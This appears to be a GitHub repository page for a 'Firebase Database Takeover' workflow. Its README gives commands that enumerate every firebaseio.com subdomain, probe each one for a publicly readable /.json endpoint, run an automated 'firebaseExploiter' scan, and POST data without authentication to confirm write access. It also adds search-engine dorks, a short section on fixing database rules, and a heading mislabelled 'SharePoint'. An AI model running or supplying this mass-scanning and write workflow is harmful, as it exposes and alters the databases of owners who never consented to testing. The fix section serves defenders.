Skip to content

A security tool for enumerating Firebase subdomains, testing .json endpoint vulnerabilities, and providing mitigation strategies. This repository combines Subfinder, Httpx, and Curl for streamlined testing workflows. For educational and authorized security purposes only.

Notifications You must be signed in to change notification settings

gh-ost00/Firebase_Database_Takeover

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 

Repository files navigation

📝 Firebase Subdomain Enumeration & PoC Testing

This repository provides a workflow to find subdomains of firebaseio.com, test them for public accessibility, and exploit a .json endpoint to check for write vulnerabilities. Additionally, mitigation steps are provided to fix the issue.

⌛ Requirements

🔍 Workflow

✅ Subdomain Enumeration

Use subfinder to enumerate subdomains for firebaseio.com:

subfinder -d firebaseio.com -o subdomains.txt

✅ Test Subdomains

Once subdomains are collected, use httpx to check .json endpoints for accessible responses (HTTP status code 200):

httpx -l subdomains.txt -path "/.json" -mc 200 -o valid_subdomains.txt

✅ Firebase Checking vulnerability (Automatic Scanning & Exploit)

firebaseExploiter -file subdomains.txt

✅ PoC Testing

Use curl to send a POST request to the .json endpoint to test if data can be written without authentication:

curl -X POST https://<subdomain>.firebaseio.com/.json -d '{"test":"poc"}' -H "Content-Type: application/json"

If successful, the server is vulnerable to unauthenticated write access.

🔨 How to Fix it :

To secure the Firebase database:

  1. Set Firebase Database Rules:

    • Open the Firebase Console.
    • Go to Database > Rules.
    • Update the rules to restrict access only to authenticated users. Example:
      {
        "rules": {
          ".read": "auth != null",
          ".write": "auth != null"
        }
      }
  2. Audit Subdomains:

    • Ensure there are no unused or publicly misconfigured Firebase databases.
  3. Monitor Activity Logs:

    • Use Firebase to monitor access logs for suspicious activities.

📝 Alternative Methods to Identify SharePoint Sites

Using Search Engines

  • FOFA:
    Query: "domain="firebaseio.com""

  • Shodan:
    Query: http.title:"Firebase""

  • ZoomEye:
    Query: site:"firebaseio.com""

⭐ References

Here are real-world examples of Firebaseio vulnerabilities reported on HackerOne :

⚠️ Disclaimer

This script is intended for educational purposes and for security testing of systems you own or have explicit permission to test. Do not use this for unauthorized activities.

💰 Support Me

If you find this work helpful, you can support me:

  • Buy Me a Coffee

Thanks for your support! ❤️

About

A security tool for enumerating Firebase subdomains, testing .json endpoint vulnerabilities, and providing mitigation strategies. This repository combines Subfinder, Httpx, and Curl for streamlined testing workflows. For educational and authorized security purposes only.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published